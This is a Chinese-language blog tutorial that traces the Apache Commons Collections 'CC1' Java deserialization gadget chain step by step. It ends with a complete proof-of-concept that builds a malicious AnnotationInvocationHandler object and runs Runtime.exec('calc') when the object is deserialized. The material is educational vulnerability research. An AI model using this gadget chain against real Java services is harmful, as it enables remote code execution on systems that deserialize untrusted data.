java反序列化漏洞cc_link_one
阅读原文时间:2023年07月08日阅读:1

CC-LINK-one

前言

这里也正式进入的java的反序列化漏洞了,简单介绍一下CC是什么借用一些官方的解释:Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

  • 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

整体链子

借助前人挖掘的经验我们直接看到Transformer类

看这个类有个方法返回的是Object和接受参数也是Object,这就代表着对我们传入的类没有进行过滤,可以做一下很简单方便的操作,方便就是安全最大的敌人。

看一下它的实现类ctrl+h

今天的漏洞存在主脚是这个IncokerTransformer这个类

在里面看他的Transformer,就看异常处理前面的这个方法

  public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     *
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

这就是一个很典型的危险函数,具体调用就是 InvokerTransformer.transform,在类的构造函数里面去获取transform参数值,然后transform用这些方法通过反射调用,然后我们看一下利用过程

构造方法第一个值是String methodName,它是对应着IMethodName就是在反射中的Method method = cls.getMethod(iMethodName, iParamTypes);应该是exec

第二个参数值是paramTypes对应的是iParamTypes也是在Method method = cls.getMethod(iMethodName, iParamTypes);,对应的是getMethod中方法参数值String.class,因为exec对应的就是String

第三个参数args对应的是method.invoke(input, iArgs)就是我们要执行的那个String,然后现在给的值是cacl

我来构成尾部

这里的话我们想一想exec是从Runtime这类下来的所以我们要传入的对象是这个Runtime对象,这个Runtime对象是不支持序列化的,这样的话其实很简单也是我们必须要用的我看一下Runtime这个类有些啥

这方法是一个公开静态的方法,那就很简单了直接用Class就行了Class是可以反序列化的

   public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class<Runtime> rumtime = Runtime.class;//获取class类的Runtime。因为class类是可以序列化的
        Method getRuntime = rumtime.getMethod("getRuntime",null
        );//这儿是获取方法,这个方法是静态公开无参的下面这个要不要的无所谓
        getRuntime.setAccessible(true);
        Runtime runtime = (Runtime) getRuntime.invoke(null,null);//方法执行,这个方法会返回一个Runrtime对象,这个对象就是我们要传到InvokerTransformer。ttransformer(Obeject obj)这个obj里面
    }

}

看一下构造,我们要利用InvokerTransformer去获取这个Runtime这个对象

第一步:获取Runtime方法

        Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

其实这个时候我们就已经拿到那个这个getRuntime,我们去掉getRuntime这个对象的invoke方法去获取一个Runtime对象这里充分体现了一个万物的思想,类是我们的对象我们调用它的方法

        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);

获取到Runtime对象之后,我们就去调用它的的exec然后去调用计算器试试

        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这里其实就完成了第一个,就是说我们的链子的尾巴找到了。

我来构成身体

搞定前面那个部分,我们已经拿到了最重要的威胁函数,接下来就是找利用链子了,最终是找一个可以重写的readObject对象去调用到我们这个函数。

然后开始全局找一个不同名的函数去调用一下transform,这样我们就可以跳到别的类,函数方便去寻找readObject

在这个map包下面发现很多不同名的函数调用了transform

然后看到了这个checkSetVakue()这个函数

它是一个protected修饰的方法,所以看一下它的构造函数

这个构造函数看起来就是一个类似于装饰器,对一个map的key和value的进行操作,静态代理嘛。

这是一个保护的方法看一下同类下的方法调用

 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

知道这个调用了还是试一下用这个去调我们的transfomer,到这里还是要归纳一下这个利用流程。

我们要调用的是我们构造的InvokerTransformer的transform()方法,然后我们在decorate方法中发现对我们的transformer有调用,然后追踪到checkvalue会对我们的transform调用transform(),但是对transform的调用的值是value我们要看看这个value我们怎么调用

通过追踪调用,看一下追出的函数是一个setValue

然后这个parent这个属性的调用是在上面那个MapEntry方法调用,什么是MapEnty是在hashMap的遍历循环的时候每一个键值对就是一个MapEntry

这里的setValue就是那个map的setvalue,它相当于是重写了这个方法,利用流程就是我们遍历HashMap然后去setvalue-checkvalue-transform

看一下没有反序列化的代码

public class demo2 {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class<Runtime> rumtime = Runtime.class;
        Runtime r = Runtime.getRuntime();
        InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        execMethod.transform(r);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","aaa");
        Map<Object,Object> decoratemap = TransformedMap.decorate(map, null, execMethod);
        for(Map.Entry entry:decoratemap.entrySet()){
            entry.setValue(r);
        }
    }
}

我来构成头部

接着往下走,我们已经找到这个map的setvalue去触发这个类了我们要去最后的一个目标一个readObjet调用Map的循环,然后调用一个setvalue

看这个setvalue刚刚好在一个readObject中,一个私有的类,只能通过反射来调用

 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Override.class, decoratemap);

这样就能把这个对象构造出来,到这里这个利用链已经写完了,接下来就是解决一些中途调用的问题。

首先是我们在应对Runtime对象无法序列化的问题是利用transform方法就行循环调用,然后我们在开始的时候就发现过一个循环调用的方法就是利用ChainedTransformer这个数组循环调用

public class demo1 {

    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
//        Class<Runtime> rumtime = Runtime.class;
//        Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
        Transformer[] transformers = new Transformer[]{
                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

    }

}

调用到这里我们的链子已经差不多完成了,再往回看一点,这里我们因为是链式调用嘛我吗要传入第一个setvalue必须是必须是Runtime.class,还有在readObject里面有一些很判断的条件

 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

下个断点进行一下调试

这个判断过程是这样的它会去获取我们传入第一个参数就是那个注解的参数名称然后通过那个参数名称去获取map中的值,要那个值不为空,就是我们传入的map的key值那个字符串要跟传入的注解里面那个参数值有相同的

然后这里它的setvalue

接收的是一个AnntationTypeMismatchExceptionProxy

这里调用的checkvalue的value值是一个动态代理的处理器对象

然后这里是我们的命令执行的入口,就这个checkSetValue,然后它第一次调用的是它那个动态代理的处理器,而我们的入口要的是Runtime.class对象这里执行的是也是transform方法

然后我们在前面有一个鸡肋的transform方法这个时候就有用处了

这个ConstantTransformer这个类它的transform方法是一个接收构造函数的参数然后返回值就是构造函数的那个参数,这里我们就可以用它来跳过那个构造器,我们直接用它来构造我们需要的那个Runtime.class对象

完整poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class demo1 {

    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
//        Class<Runtime> rumtime = Runtime.class;
//        Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
        Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> decoratemap = TransformedMap.decorate(map, null, chainedTransformer);
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decoratemap);
        serialize(o);
        unseriallize("src.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("src.bin"));
        oos.writeObject(obj);
    }
    public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    }

总结

这条链子的总体利用发现和利用过程的就是真的巧妙到了不能再巧妙了,然后自己简单的归纳了一下触发的流程

AnnotationInvocationHandler#{readObject}
   AbstractInputCheckedMapDecorator#{setValue}
    HashMap控制中间的某个if语句和进入MapEntry方法
     (ConstantTransformer)用来控制setvalue的第一个方法
       TransformedMap#{checkSetValue}
        (ChainedTransformer)这个类用来循环调用InvokerTransformerd.transform()
          InvokerTransformer#{transform}